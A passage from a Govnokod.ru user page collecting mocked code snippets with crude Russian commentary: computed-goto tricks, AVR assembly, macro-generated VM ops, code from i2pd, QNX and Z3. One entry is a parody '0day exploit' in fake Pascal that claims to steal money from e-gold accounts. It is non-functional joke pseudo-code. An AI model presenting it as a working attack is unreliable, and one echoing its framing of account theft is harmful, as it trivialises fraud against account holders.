            Двойной говнокод. Мало того, что такие задержки на циклах попросту бесполезны, любой нормальный компилятор их выбросит при оптимизации, так там еще и ошибка с переиспользованием переменной i из внешнего цикла во внутреннем

            j123123, 19 Февраля 2016

            Комментарии (13)
          9. Си / Говнокод #19423

            −43

            1. 01
            2. 02
            3. 03
            4. 04
            5. 05
            6. 06
            7. 07
            8. 08
            9. 09
            10. 10
            11. 11
            12. 12
            13. 13
            14. 14
            15. 15
            16. 16
            17. 17
            #include <inttypes.h>
            
            uint64_t pow_(uint64_t num, uint8_t pow)
            {
              static const void *array_pow[] = { &&l0, &&l1, &&l2, &&l3, &&l4, &&l5, &&l6,/* ....*/ };
              uint64_t ret = 1;
              goto *array_pow[pow];
              /* ... */
              l6: ret *=num;
              l5: ret *=num;
              l4: ret *=num;
              l3: ret *=num;
              l2: ret *=num;
              l1: ret *=num;
              l0:
              return ret;
            }

            Царский анролл возведения в степень через gcc-шные goto. Сам придумал. Но тут еще вот какая западня. Оптимизируется он хреново. Например, если взять возведение в степень 6 http://goo.gl/6SK2et
            то можно обойтись 3 инструкциями imul в то время как в хрени с метками их целых 6.

            j123123, 10 Февраля 2016

            Комментарии (70)
          10. Assembler / Говнокод #19395

            +76

            1. 01
            2. 02
            3. 03
            4. 04
            5. 05
            6. 06
            7. 07
            8. 08
            9. 09
            10. 10
            11. 11
            12. 12
            13. 13
            14. 14
            15. 15
            16. 16
            17. 17
            18. 18
            19. 19
            20. 20
            21. 21
            22. 22
            23. 23
            24. 24
            25. 25
            26. 26
            27. 27
            28. 28
            29. 29
            30. 30
            .global	shit
            	.type	shit, @function
            shit:
            /* prologue: function */
            /* frame size = 0 */
            /* stack size = 0 */
            .L__stack_usage = 0
            	mov r30,r24
            	mov r31,r25
            	ldd r18,Z+1
            	ldd r22,Z+2
            	mov r24,r22
            	ldi r25,0
            	ldi r26,0
            	ldi r27,0
            	mov r26,r24
            	mov r27,r25
            	clr r25
            	clr r24
            	or r25,r18
            	ld r18,Z
            	or r24,r18
            	ldd r18,Z+3
            	mov r22,r24
            	mov r23,r25
            	mov r24,r26
            	mov r25,r27
            	or r25,r18
            	ret
            	.size	shit, .-shit

            Вот такое ГЛОБАЛЬНОЕ ГОВНО мне делает GCC под AVR
            Код разворота байтиков:

            unsigned long int shit(unsigned char *a)
            
            {
            
              return 
            
                ( unsigned long int)a[0] << 0   |
            
                ((unsigned long int)a[1] << 8 ) |
            
                ((unsigned long int)a[2] << 16) |
            
                ((unsigned long int)a[3] << 24);
            
            }

            Вот другие попытки это сделать, чтоб компилятор сделал более оптимально http://goo.gl/3D2Lri - ссылка на gcc.godbolt.org

            У меня есть собранный через crosstools-ng более новый gcc под AVR, вот выхлоп с него для тех же примеров, что и в godbolt https://paste.debian.net/378491/

            Там __builtin_bswap32() становится rcall __bswapsi2, но этот __bswapsi2 состоит из двух сраных инструкций
            gcc/libgcc/config/avr/lib1funcs.S
            #if defined (L_bswapsi2)
            
            ;; swap bytes
            
            ;; r25:r22 = bswap32 (r25:r22)
            
            DEFUN __bswapsi2
            
                bswap r22, r25
            
                bswap r23, r24
            
                ret
            
            ENDF __bswapsi2
            
            #endif /* defined (L_bswapsi2) */

            ТАК ПОЧЕМУ Б ТУПО НЕ ЗАИНЛАЙНИТЬ ЭТО?

            j123123, 04 Февраля 2016

            Комментарии (38)
             
             
            1. Си / Говнокод #19383

              −50

              1. 01
              2. 02
              3. 03
              4. 04
              5. 05
              6. 06
              7. 07
              8. 08
              9. 09
              10. 10
              11. 11
              12. 12
              13. 13
              14. 14
              15. 15
              16. 16
              17. 17
              18. 18
              19. 19
              20. 20
              21. 21
              22. 22
              23. 23
              24. 24
              25. 25
              26. 26
              27. 27
              28. 28
              29. 29
              30. 30
              31. 31
              32. 32
              33. 33
              34. 34
              35. 35
              36. 36
              37. 37
              38. 38
              39. 39
              40. 40
              41. 41
              42. 42
              43. 43
              44. 44
              45. 45
              46. 46
              47. 47
              #define OP(a,b,op) ((a)op(b))
              
              #define MKFUNC_a_op_b(type, opname, op) void type##_##opname##_##type(const void *a, const void *b, void *out) \
              {\
                type tmp =  OP(*(type*)a,*(type*)b,op);\
                memcpy(out,(void*)(&tmp),sizeof(type));\
              }
              
              #define MKALLF_int(type) \
              MKFUNC_a_op_b(type,plus,+) MKFUNC_a_op_b(type,minus,-) \
              MKFUNC_a_op_b(type,div,/) MKFUNC_a_op_b(type,mod,%) \
              MKFUNC_a_op_b(type,and,&) MKFUNC_a_op_b(type,or,|) \
              MKFUNC_a_op_b(type,xor,^)
              
              MKALLF_int(int8_t)
              MKALLF_int(uint8_t)
              MKALLF_int(int16_t)
              MKALLF_int(uint16_t)
              MKALLF_int(int32_t)
              MKALLF_int(uint32_t)
              MKALLF_int(int64_t)
              MKALLF_int(uint64_t)
              
              #define MKFUNC_conv_t(type1, type2) void type1##_to_##type2(const void *a, void *out) \
              {\
                type2 tmp = (type2)(*(type1*)a);\
                memcpy(out,(void*)(&tmp),sizeof(type2));\
              }
              
              #define MKFUNC_con_M(type) \
              MKFUNC_conv_t(type, int8_t) \
              MKFUNC_conv_t(type, uint8_t) \
              MKFUNC_conv_t(type, int16_t) \
              MKFUNC_conv_t(type, uint16_t) \
              MKFUNC_conv_t(type, int32_t) \
              MKFUNC_conv_t(type, uint32_t) \
              MKFUNC_conv_t(type, int64_t) \
              MKFUNC_conv_t(type, uint64_t)
              
              MKFUNC_con_M(int8_t)
              MKFUNC_con_M(uint8_t)
              MKFUNC_con_M(int16_t)
              MKFUNC_con_M(uint16_t)
              MKFUNC_con_M(int32_t)
              MKFUNC_con_M(uint32_t)
              MKFUNC_con_M(int64_t)
              MKFUNC_con_M(uint64_t)

              Это я типа такую заготовку для стековой ВМ делаю, определяю операции(инструкции) для опкодов кагбэ. Потом у меня там будет массив указателей на функции, ну и я их буду вызывать, пропихивая аргументы. Но похоже что сишный препроцессор это говно полное, и надо кодогеренератор для набора такой ерунды делать.

              j123123, 02 Февраля 2016

              Комментарии (19)
            2. Си / Говнокод #19367

              −47

              1. 01
              2. 02
              3. 03
              4. 04
              5. 05
              6. 06
              7. 07
              8. 08
              9. 09
              10. 10
              11. 11
              12. 12
              13. 13
              14. 14
              15. 15
              16. 16
              17. 17
              #include <stdio.h>
              #include <inttypes.h>
              
              typedef struct {uint32_t dummy;} str32;
              
              int main (void)
              {
                  // тут получаются нули
                  printf("%zu\n", sizeof( struct {uint32_t;} ) );
                  printf("%zu\n", sizeof( (struct {uint32_t;}){} ) );
                  
              
                  // а тут получаются 4 как и планировалось
                  printf("%zu\n", sizeof( str32 ) );
                  printf("%zu\n", sizeof(uint32_t) );
                  return 0;
              }

              Попытки получить размер анонимной структуры. Компиляторы clang gcc icc под линупсом почему-то возвращают 0. Не может же это быть багом сразу в трех компиляторах?

              j123123, 29 Января 2016

              Комментарии (13)
            3. C++ / Говнокод #19340

              0

              1. 01
              2. 02
              3. 03
              4. 04
              5. 05
              6. 06
              7. 07
              8. 08
              9. 09
              10. 10
              11. 11
              12. 12
              13. 13
              14. 14
              15. 15
              16. 16
              17. 17
              18. 18
              19. 19
              20. 20
              21. 21
              22. 22
              23. 23
              24. 24
              25. 25
              26. 26
              27. 27
              #define EncryptAES256(sched) \
              		"pxor (%["#sched"]), %%xmm0 \n" \
              		"aesenc	16(%["#sched"]), %%xmm0 \n" \
              		"aesenc	32(%["#sched"]), %%xmm0 \n" \
              		"aesenc	48(%["#sched"]), %%xmm0 \n" \
              		"aesenc	64(%["#sched"]), %%xmm0 \n" \
              		"aesenc	80(%["#sched"]), %%xmm0 \n" \
              		"aesenc	96(%["#sched"]), %%xmm0 \n" \
              		"aesenc	112(%["#sched"]), %%xmm0 \n" \
              		"aesenc	128(%["#sched"]), %%xmm0 \n" \
              		"aesenc	144(%["#sched"]), %%xmm0 \n" \
              		"aesenc	160(%["#sched"]), %%xmm0 \n" \
              		"aesenc	176(%["#sched"]), %%xmm0 \n" \
              		"aesenc	192(%["#sched"]), %%xmm0 \n" \
              		"aesenc	208(%["#sched"]), %%xmm0 \n" \
              		"aesenclast	224(%["#sched"]), %%xmm0 \n"
              		
              	void ECBEncryptionAESNI::Encrypt (const ChipherBlock * in, ChipherBlock * out)
              	{
              		__asm__
              		(
              			"movups	(%[in]), %%xmm0 \n"
              			EncryptAES256(sched)
              			"movups	%%xmm0, (%[out]) \n"	
              			: : [sched]"r"(GetKeySchedule ()), [in]"r"(in), [out]"r"(out) : "%xmm0", "memory"
              		);
              	}

              https://github.com/PurpleI2P/i2pd/blob/openssl/Crypto.cpp принципиально новый подход - определять дефайном какое-то макроговно, чтобы потом его использовать внутри асмовставок

              j123123, 22 Января 2016

              Комментарии (9)
            4. Си / Говнокод #19299

              −44

              1. 01
              2. 02
              3. 03
              4. 04
              5. 05
              6. 06
              7. 07
              8. 08
              9. 09
              10. 10
              11. 11
              12. 12
              13. 13
              14. 14
              15. 15
              16. 16
              17. 17
              18. 18
              19. 19
              20. 20
              21. 21
              22. 22
              23. 23
              24. 24
              25. 25
              26. 26
              27. 27
              28. 28
              29. 29
              30. 30
              31. 31
              32. 32
              33. 33
              34. 34
              35. 35
              36. 36
              37. 37
              38. 38
              39. 39
              40. 40
              41. 41
              42. 42
              43. 43
              44. 44
              45. 45
              46. 46
              47. 47
              48. 48
              49. 49
              50. 50
              51. 51
              52. 52
              53. 53
              54. 54
              55. 55
              56. 56
              57. 57
              58. 58
              59. 59
              60. 60
              61. 61
              62. 62
              63. 63
              64. 64
              65. 65
              66. 66
              67. 67
              68. 68
              69. 69
              70. 70
              71. 71
              72. 72
              73. 73
              74. 74
              75. 75
              76. 76
              77. 77
              78. 78
              79. 79
              80. 80
              81. 81
              82. 82
              83. 83
              84. 84
              85. 85
              86. 86
              87. 87
              88. 88
              89. 89
              90. 90
              #include <stdio.h>
              #include <stdlib.h>
              
              
              void push(unsigned int a, unsigned int **stackpp)
              {
                  **stackpp = a;
                  (*stackpp)++;
              }
              
              unsigned int pop(unsigned int **stackpp)
              {
                  (*stackpp)--;
                  return **stackpp;
              }
              
              unsigned int fib(unsigned int a)
              {
                  unsigned int stack[10000] = {0};
                  unsigned int *stackp = stack;
                  
                  // локальные дефайны
                  #define PUSH(x) push(x, &stackp)
                  #define POP() pop(&stackp)
                  
                  relative_label:    
                  PUSH( (int)(&&result - &&relative_label ) );
                  PUSH(a);
                  goto shit;
                  result:
                  return POP();
                  
                  shit:
                  while(stackp != stack)
                  {
                      unsigned int tmp = POP();
                      //printf("tmp = %u\n", tmp); отладочная перчать
                      fflush(stdout);
                      if (tmp == 0)
                      {
                          int _ret = POP();
                          PUSH(0);
                          goto *(&&relative_label + _ret);
                      }
                      else if (tmp == 1)
                      {
                          int _ret = POP();
                          PUSH(1);
                          goto *(&&relative_label + _ret);
                      }
                      else
                      {
                          PUSH(tmp-2); // предварительно сохраняем
                          PUSH( (int)(&&after_p1 - &&relative_label) );
                          PUSH(tmp-1);
                          continue;
                          
                          after_p1: ;
                          unsigned int tmp1 = POP(); // возвращенное значение
                          unsigned int tmp2 = POP(); // предварительно сохраненное
                          PUSH(tmp1);
                          PUSH( (int)(&&after_p2 - &&relative_label) );
                          PUSH(tmp2);
                          continue;
                          
                          after_p2: ;
                          unsigned int val = POP()+POP();
                          int _ret = POP();
                          PUSH(val);
                          goto *(&&relative_label + _ret);
                      }
                  }
                  // ERROR - стек размотался. Такого быть не должно
                  exit(-1);
                  
                  // убираем локальные дефайны
                  #undef PUSH 
                  #undef POP
              }
              
              
              int main(void)
              {
              
                  for(unsigned int i = 0; i < 30; i++)
                  {
                      printf("%u ", fib(i));
                  }
                  return 0;
              }

              Этим кодом я доказывал одному типу какой-то бред, связанный с рекурсией. Типа он считал что ее нельзя реализовать через сраные циклы со стеком(или может просто хотел посмотреть на такую реализацию).
              Надо короче сделать локальный #define чтобы он автоматически #undef при выходе из области видимости фукнции.

              j123123, 13 Января 2016

              Комментарии (17)
            5. Pascal / Говнокод #19289

              −46

              1. 01
              2. 02
              3. 03
              4. 04
              5. 05
              6. 06
              7. 07
              8. 08
              9. 09
              10. 10
              11. 11
              12. 12
              13. 13
              14. 14
              15. 15
              16. 16
              17. 17
              18. 18
              19. 19
              свежий 0дэй сплоит для вороства денег с лоховского аккаунта на e-gold
              сплоит сам находит лоховской акк и переводит деньги хакеру
              
              компилировать паскалем 4.0
              
              опытный хакер сам найдет ошибки и исправит их
              это приватная версия сплоита, просьба не распростронять вне форума!!!
              
              programm 0day_egold_back_sploit
              var
              babki:longint;
              begin
              connect("e-gold.com",80);
              goto("money.hmtl");
              authorize(steal(random,"login"),steal(random,"password"));
              transfer(babki,fucked_login,hacker_login);
              writeln("Loh has been hacked!");
              disconnect;
              end.

              http://bh-crew.livejournal.com/9875.html

              j123123, 11 Января 2016

              Комментарии (18)
            6. Си / Говнокод #19280

              −1

              1. 01
              2. 02
              3. 03
              4. 04
              5. 05
              6. 06
              7. 07
              8. 08
              9. 09
              10. 10
              11. 11
              12. 12
              13. 13
              14. 14
              15. 15
              16. 16
              17. 17
              18. 18
              19. 19
              20. 20
              21. 21
              22. 22
              23. 23
              24. 24
              25. 25
              26. 26
              27. 27
              28. 28
              29. 29
              30. 30
              31. 31
              32. 32
              33. 33
              34. 34
              35. 35
              36. 36
              37. 37
              38. 38
              39. 39
              40. 40
              41. 41
              42. 42
              43. 43
              44. 44
              45. 45
              46. 46
              47. 47
              48. 48
              49. 49
              50. 50
              51. 51
              52. 52
              53. 53
              54. 54
              55. 55
              56. 56
              57. 57
              58. 58
              59. 59
              60. 60
              61. 61
              62. 62
              63. 63
              64. 64
              65. 65
              66. 66
              67. 67
              68. 68
              69. 69
              70. 70
              71. 71
              72. 72
              73. 73
              74. 74
              75. 75
              76. 76
              77. 77
              78. 78
              79. 79
              80. 80
              81. 81
              82. 82
              83. 83
              84. 84
              // Add a UPnP port
              bool Win32UPnPAddPort(UINT outside_port, UINT inside_port, bool udp, char *local_ip, wchar_t *description, bool remove_before_add)
              {
              	bool ret = false;
              	HRESULT hr;
              	IUPnPNAT *nat = NULL;
              	wchar_t ip_str[MAX_SIZE];
              	BSTR bstr_ip, bstr_description, bstr_protocol;
              	wchar_t *protocol_str = (udp ? L"UDP" : L"TCP");
              	// Validate arguments
              	if (outside_port == 0 || outside_port >= 65536 || inside_port == 0 || inside_port >= 65536 ||
              		IsEmptyStr(local_ip) || UniIsEmptyStr(description))
              	{
              		return false;
              	}
              
              	StrToUni(ip_str, sizeof(ip_str), local_ip);
              	bstr_ip = SysAllocString(ip_str);
              	bstr_description = SysAllocString(description);
              	bstr_protocol = SysAllocString(protocol_str);
              
              	hr = CoCreateInstance(CLSID_UPnPNAT, NULL, CLSCTX_INPROC_SERVER, IID_IUPnPNAT, (void **)&nat);
              
              	if (SUCCEEDED(hr))
              	{
              		if (nat != NULL)
              		{
              			IStaticPortMappingCollection *collection = NULL;
              			hr = nat->get_StaticPortMappingCollection(&collection);
              
              			if (SUCCEEDED(hr))
              			{
              				if (collection != NULL)
              				{
              					IStaticPortMapping *mapping = NULL;
              
              					if (remove_before_add)
              					{
              						hr = collection->Remove((long)outside_port, bstr_protocol);
              					}
              
              					hr = collection->Add((long)outside_port, bstr_protocol, (long)inside_port,
              						bstr_ip, VARIANT_TRUE, bstr_description, &mapping);
              
              					if (SUCCEEDED(hr))
              					{
              						ret = true;
              
              						if (mapping != NULL)
              						{
              							mapping->Release();
              						}
              					}
              
              					collection->Release();
              				}
              				else
              				{
              					WHERE;
              				}
              			}
              			else
              			{
              				WHERE;
              			}
              
              			nat->Release();
              		}
              		else
              		{
              			WHERE;
              		}
              	}
              	else
              	{
              		WHERE;
              	}
              
              	SysFreeString(bstr_ip);
              	SysFreeString(bstr_description);
              	SysFreeString(bstr_protocol);
              
              	return ret;
              }

              Отсюда https://github.com/SoftEtherVPN/SoftEtherVPN/blob/master/src/Cedar/Win32Com.cpp#L157
              Там еще много такого. https://github.com/SoftEtherVPN/SoftEtherVPN/blob/master/src/Cedar/Win32Com.cpp#L963 вот например тоже забавная хрень. Нашел эту штуку по ссылке с говнохабра http://habrahabr.ru/post/208782/

              j123123, 04 Января 2016

              Комментарии (9)
            7. Java / Говнокод #19142

              −32

              1. 01
              2. 02
              3. 03
              4. 04
              5. 05
              6. 06
              7. 07
              8. 08
              9. 09
              10. 10
              11. 11
              12. 12
              13. 13
              14. 14
              15. 15
              16. 16
              17. 17
              18. 18
              19. 19
              20. 20
              21. 21
              22. 22
              MethodHandle mov256MH = CodeSnippet.make("move256",
                   MethodType.methodType(void.class,            // return type
                                         Object.class /*rdi*/,  // src
                                         long.class   /*rsi*/,  // offset
                                         Object.class /*rdx*/,  // dst
                                         long.class   /*rcx*/), // offset
                   CPUID.has(AVX),
                   0xC4, 0xE1, 0x7E, 0x6F, 0x04, 0x37,  // vmovdqu ymm0,[rsi+rdi]
                   0xC4, 0xE1, 0x7E, 0x7F, 0x04, 0x0A); // vmovdqu [rdx+rcx],ymm0
              
              
                 static void move256(Object src, long off1, Object dst, long off2) {
                     try {
                         mov256MH.invokeExact(src, off1, dst, off2);
                     } catch (Throwable e) {
                         throw new Error(e);
                     }
                 }
              
                 byte[] src = ...; long off1 = ...;
                 byte[] dst = ...; long off2 = ...;
                 move256(src, off1, dst, off2);

              Вставка машинного кода (прямо как в http://govnokod.ru/19017 ) теперь и в Java
              http://mail.openjdk.java.net/pipermail/panama-dev/2015-December/000225.html

              j123123, 06 Декабря 2015

              Комментарии (76)
            8. Си / Говнокод #19119

              −98

              1. 01
              2. 02
              3. 03
              4. 04
              5. 05
              6. 06
              7. 07
              8. 08
              9. 09
              10. 10
              11. 11
              12. 12
              13. 13
              14. 14
              15. 15
              16. 16
              17. 17
              18. 18
              19. 19
              20. 20
              21. 21
              22. 22
              23. 23
              24. 24
              25. 25
              26. 26
              27. 27
              28. 28
              29. 29
              30. 30
              31. 31
              32. 32
              33. 33
              34. 34
              35. 35
              36. 36
              37. 37
              38. 38
              39. 39
              40. 40
              41. 41
              42. 42
              43. 43
              44. 44
              45. 45
              46. 46
              47. 47
              48. 48
              49. 49
              50. 50
              51. 51
              52. 52
              53. 53
              54. 54
              55. 55
              56. 56
              57. 57
              58. 58
              59. 59
              60. 60
              61. 61
              62. 62
              63. 63
              64. 64
              65. 65
              66. 66
              67. 67
              68. 68
              69. 69
              70. 70
              71. 71
              72. 72
              73. 73
              74. 74
              void *_band_get_aligned(Band *p, size_t alignment, size_t size)
              {
              	Block     *which;
              	ListNode  *x;
              
              	if (!__mallocsizes_inited) {
              		__malloc_sizes_init();
              	}
              	assert(size <= p->nbpe);
              	if (alignment != _MALLOC_ALIGN) {
              		size_t esize = p->nbpe + SB_OVERHEAD();
              		size_t	   dividend = (alignment / esize);
              		assert(alignment >= _MALLOC_ALIGN);
              
              		if (dividend > p->nalloc
              			|| (alignment != _MALLOC_ALIGN 
                    && dividend * esize != alignment)) { /* not an even multiple */
              			errno = EINVAL;
              			return NULL;
              		}
              	}
              
              	if ((which = p->alist) != NULL) {
              		if (alignment != _MALLOC_ALIGN) {
              			x = (ListNode *)_block_memalign(p, which, alignment);
              		}
              		else {
              			x = (ListNode *)_block_mem_malloc_align(p, which);
              		}
              		if (x != NULL) {
              #ifdef STATISTICS
              			p->alloc_counter++;
              #endif
              			x->ln_offset = (char *)which - (char *)x;
              			assert(x->ln_offset < 0);
              			assert(which->navail > 0);
              
              			/*
              		 	* If no more blocks, put this on the depleted-list
              		 	*/
              			if (--which->navail == 0) {
              				Block        *b;
              
              				assert(which->head == NULL);
              				assert(which->prev == NULL);
              
              				/*
              			 	* Simple delete -- which is first.
              			 	*/
              				p->alist = b = which->next;
              				if (b)
              					b->prev = NULL;
              
              				/*
              			 	* insert into d(epleted)list
              			 	*/
              				which->next = b = p->dlist;
              				p->dlist = which;
              				if (b)
              					b->prev = which;
              			}
              			_malloc_stats.m_small_allocmem += p->nbpe;
              			_malloc_stats.m_small_freemem -= p->nbpe;
              
              			return x+1;
              		}
              	}
              
              	if ((which = band_addblk(p)) == NULL) {
              		return 0; /* failed */
              	}
              	assert(which->navail);
              	return _band_get_aligned(p, alignment, size);
              }

              [color=blue]http://sourceforge.net/p/monartis/openqnx/ci/master/tree/trunk/lib/c/alloc/band.c#l346[color] - рекурсия в аллокаторе QNX. Некоторые компиляторы эту рекурсию оптимизируют, некоторые - нет. И когда не оптимизируют, она способна при определенных условия выжрать стек, что приводит к сегфолту, например как тут [color=blue]http://www.openqnx.com/phpbbforum/viewtopic.php?f=7&t=12896&view=print[color]

              j123123, 02 Декабря 2015

              Комментарии (10)
            9. Си / Говнокод #19117

              −100

              1. 1
              https://youtu.be/sm-W4Tzg9-o?t=692

              Анимированные 3D модели в С коде. К сожалению, передать это в виде текста не представляется возможным.

              j123123, 01 Декабря 2015

              Комментарии (18)
            10. Си / Говнокод #19105

              −96

              1. 01
              2. 02
              3. 03
              4. 04
              5. 05
              6. 06
              7. 07
              8. 08
              9. 09
              10. 10
              11. 11
              12. 12
              13. 13
              14. 14
              15. 15
              16. 16
              17. 17
              18. 18
              19. 19
              20. 20
              21. 21
              22. 22
              23. 23
              24. 24
              25. 25
              26. 26
              27. 27
              28. 28
              29. 29
              30. 30
              31. 31
              32. 32
              33. 33
              34. 34
              35. 35
              #include <stdio.h>
              #include <inttypes.h>
              
              int main() {
                  int arr[] = {34, 12, 24, 65, 63, 22};
                  size_t arraySize = (sizeof(arr) / sizeof(*arr));
              
                  size_t i;
                  startloop1:;
                      void * loop1val = &&endloop1;
                      i = 0;
                      startloop2:
                          goto *( (void *[]){&&noexchange, &&exchange}[arr[i] >= arr[i+1]]);
                          exchange:;
                              int tmp;
                              tmp=arr[i];
                              arr[i]=arr[i+1];
                              arr[i+1]=tmp;
                              loop1val = &&startloop1;
                          noexchange:
                          i++;
                          goto *( (void *[]){&&startloop2, &&endloop2}[i >= arraySize-1]);
                      endloop2:
                      goto *loop1val; 
                  endloop1:
                  i = 0;
                  
                  startloop3:
                      printf("%i ", arr[i]);
                      i++;
                      goto *( (void *[]){&&startloop3, &&endloop3}[i >= arraySize]);
                  endloop3:
                  
                  return 0;
              }

              На говнохабре http://habrahabr.ru/post/269875/ очередная хуита написана, вот типа напишите сортировку не используя if. Но в том коде есть циклы, любой настоящий программист знает, что циклы это по сути то же самое, что и if(условие) goto куда-тотам. Как написано в одном фундаментальном труде http://www.lib.ru/ANEKDOTY/non_pas.txt
              - поскольку в Фортране отсутствуют структурные операторы IF,
              REPEAT ... UNTIL или CASE, настоящим программистам не
              нужно беспокоиться, что они их не используют; кроме того
              эти операторы можно при необходимости симулировать с
              помощью присваиваемых GOTO.

              Пользуясь этой вселенской мудростью, а так же зная про наличие присваиваемых goto в gcc, решил я сей код написать.

              j123123, 28 Ноября 2015

              Комментарии (785)
               
               
              1. C++ / Говнокод #18139

                +142

                1. 01
                2. 02
                3. 03
                4. 04
                5. 05
                6. 06
                7. 07
                8. 08
                9. 09
                10. 10
                11. 11
                12. 12
                13. 13
                14. 14
                15. 15
                16. 16
                17. 17
                18. 18
                19. 19
                20. 20
                21. 21
                22. 22
                23. 23
                24. 24
                25. 25
                26. 26
                27. 27
                28. 28
                29. 29
                30. 30
                31. 31
                32. 32
                33. 33
                34. 34
                35. 35
                36. 36
                37. 37
                38. 38
                39. 39
                40. 40
                41. 41
                42. 42
                43. 43
                44. 44
                45. 45
                46. 46
                47. 47
                48. 48
                49. 49
                50. 50
                51. 51
                52. 52
                53. 53
                54. 54
                55. 55
                56. 56
                57. 57
                58. 58
                59. 59
                60. 60
                61. 61
                62. 62
                63. 63
                64. 64
                65. 65
                66. 66
                67. 67
                68. 68
                69. 69
                70. 70
                71. 71
                72. 72
                73. 73
                74. 74
                75. 75
                76. 76
                77. 77
                78. 78
                79. 79
                80. 80
                81. 81
                82. 82
                83. 83
                84. 84
                85. 85
                86. 86
                87. 87
                88. 88
                typedef enum {
                        INIT1=0, INIT2,  INIT3,  INIT4,  INIT5,  INIT6,  INITN,
                        BIND1,   BIND2,  BIND3,  BIND4,  BIND5,  BIND6,  BINDN,
                        YIELD1,  YIELD2, YIELD3, YIELD4, YIELD5, YIELD6, YIELDN, 
                        COMPARE, CHECK, FILTER, CFILTER, PFILTER, CHOOSE, NOOP, CONTINUE,
                        GET_ENODE, 
                        GET_CGR1, GET_CGR2, GET_CGR3, GET_CGR4, GET_CGR5, GET_CGR6, GET_CGRN,
                        IS_CGR
                    } opcode;
                ...
                ...
                ...
                
                
                
                        switch (m_pc->m_opcode) {
                        case INIT1:
                            m_app          = m_registers[0];
                            if (m_app->get_num_args() != 1)
                                goto backtrack;
                            m_registers[1] = m_app->get_arg(0);
                            m_pc = m_pc->m_next;
                            goto main_loop;
                            
                        case INIT2:
                            m_app          = m_registers[0];
                            if (m_app->get_num_args() != 2)
                                goto backtrack;
                            m_registers[1] = m_app->get_arg(0);
                            m_registers[2] = m_app->get_arg(1);
                            m_pc = m_pc->m_next;
                            goto main_loop;
                            
                        case INIT3:
                            m_app          = m_registers[0];
                            if (m_app->get_num_args() != 3)
                                goto backtrack;
                            m_registers[1] = m_app->get_arg(0);
                            m_registers[2] = m_app->get_arg(1);
                            m_registers[3] = m_app->get_arg(2);
                            m_pc = m_pc->m_next;
                            goto main_loop;
                            
                        case INIT4:
                            m_app          = m_registers[0];
                            if (m_app->get_num_args() != 4)
                                goto backtrack;
                            m_registers[1] = m_app->get_arg(0);
                            m_registers[2] = m_app->get_arg(1);
                            m_registers[3] = m_app->get_arg(2);
                            m_registers[4] = m_app->get_arg(3);
                            m_pc = m_pc->m_next;
                            goto main_loop;
                            
                        case INIT5:
                            m_app          = m_registers[0]; 
                            if (m_app->get_num_args() != 5)
                                goto backtrack;
                            m_registers[1] = m_app->get_arg(0);
                            m_registers[2] = m_app->get_arg(1);
                            m_registers[3] = m_app->get_arg(2);
                            m_registers[4] = m_app->get_arg(3);
                            m_registers[5] = m_app->get_arg(4);
                            m_pc = m_pc->m_next;
                            goto main_loop;
                            
                        case INIT6: 
                            m_app          = m_registers[0];
                            if (m_app->get_num_args() != 6)
                                goto backtrack;
                            m_registers[1] = m_app->get_arg(0);
                            m_registers[2] = m_app->get_arg(1);
                            m_registers[3] = m_app->get_arg(2);
                            m_registers[4] = m_app->get_arg(3);
                            m_registers[5] = m_app->get_arg(4);
                            m_registers[6] = m_app->get_arg(5);
                            m_pc = m_pc->m_next;
                            goto main_loop;
                            
                        case INITN:
                            m_app      = m_registers[0];
                            m_num_args = m_app->get_num_args();
                            if (m_num_args != static_cast<const initn *>(m_pc)->m_num_args)
                                goto backtrack;
                            for (unsigned i = 0; i < m_num_args; i++)
                                m_registers[i+1] = m_app->get_arg(i);
                            m_pc = m_pc->m_next;
                            goto main_loop;

                Из изходников STM-солвера Z3
                https://github.com/Z3Prover/z3/blob/master/src/smt/mam.cpp#L2298
                Почему нельзя было оставить только вариант INITN? Цикл отбирает так много ресурсов?

                j123123, 10 Мая 2015

                Комментарии (2)
              2. Си / Говнокод #18030

                +142

                1. 01
                2. 02
                3. 03
                4. 04
                5. 05
                6. 06
                7. 07
                8. 08
                9. 09
                10. 10
                11. 11
                12. 12
                13. 13
                14. 14
                15. 15
                16. 16
                17. 17
                18. 18
                19. 19
                20. 20
                21. 21
                22. 22
                23. 23
                24. 24
                25. 25
                26. 26
                27. 27
                28. 28
                29. 29
                30. 30
                31. 31
                32. 32
                33. 33
                34. 34
                35. 35
                36. 36
                37. 37
                38. 38
                39. 39
                40. 40
                41. 41
                42. 42
                43. 43
                44. 44
                45. 45
                46. 46
                47. 47
                48. 48
                49. 49
                50. 50
                51. 51
                52. 52
                53. 53
                54. 54
                55. 55
                56. 56
                57. 57
                58. 58
                59. 59
                60. 60
                61. 61
                62. 62
                63. 63
                64. 64
                65. 65
                66. 66
                67. 67
                68. 68
                69. 69
                70. 70
                71. 71
                72. 72
                73. 73
                74. 74
                75. 75
                76. 76
                77. 77
                78. 78
                79. 79
                80. 80
                81. 81
                82. 82
                83. 83
                84. 84
                #include <inttypes.h>
                #include <stdio.h>
                 
                typedef union
                {
                  struct
                  {
                    #define BITG(n) uint8_t bit##n : 1
                    BITG(0);
                    BITG(1);
                    BITG(2);
                    BITG(3);
                    BITG(4);
                    BITG(5);
                    BITG(6);
                    BITG(7);
                    #undef BITG
                  } bits;
                  uint8_t value;
                }getbit;
                 
                uint8_t bit_sum(uint8_t, uint8_t);
                 
                 
                uint8_t bit_sum(uint8_t a, uint8_t b)
                {
                  getbit op1, op2, opr;
                  uint8_t carry;
                  op1.value=a; op2.value=b;
                  #define OP1(n) op1.bits.bit##n
                  #define OP2(n) op2.bits.bit##n
                  #define OPR(n) opr.bits.bit##n
                  #define XOR(a,b) ((a)^(b))
                  #define AND(a,b) ((a)&(b))
                  OPR(0) = XOR(OP1(0), OP2(0));
                  carry = AND(OP1(0), OP2(0));
                  #define SETBIT(n)                \
                  OPR(n) = XOR                     \
                           (                       \
                             carry,                \
                             XOR(OP1(n), OP2(n))   \
                           );
                 
                  #define CARRYBIT(n)              \
                  carry = XOR                      \
                          (                        \
                            AND(OP1(n), OP2(n)),   \
                            AND                    \
                            (                      \
                              XOR(OP1(n), OP2(n)), \
                              carry                \
                            )                      \
                          );
                  SETBIT(1);
                  CARRYBIT(1);
                  SETBIT(2);
                  CARRYBIT(2);
                  SETBIT(3);
                  CARRYBIT(3);
                  SETBIT(4);
                  CARRYBIT(4);
                  SETBIT(5);
                  CARRYBIT(5);
                  SETBIT(6);
                  CARRYBIT(6);
                  SETBIT(7);
                  return opr.value;
                  #undef SETBIT
                  #undef CARRYBIT
                  #undef OP1
                  #undef OP2
                  #undef OPR
                  #undef XOR
                  #undef AND
                }
                 
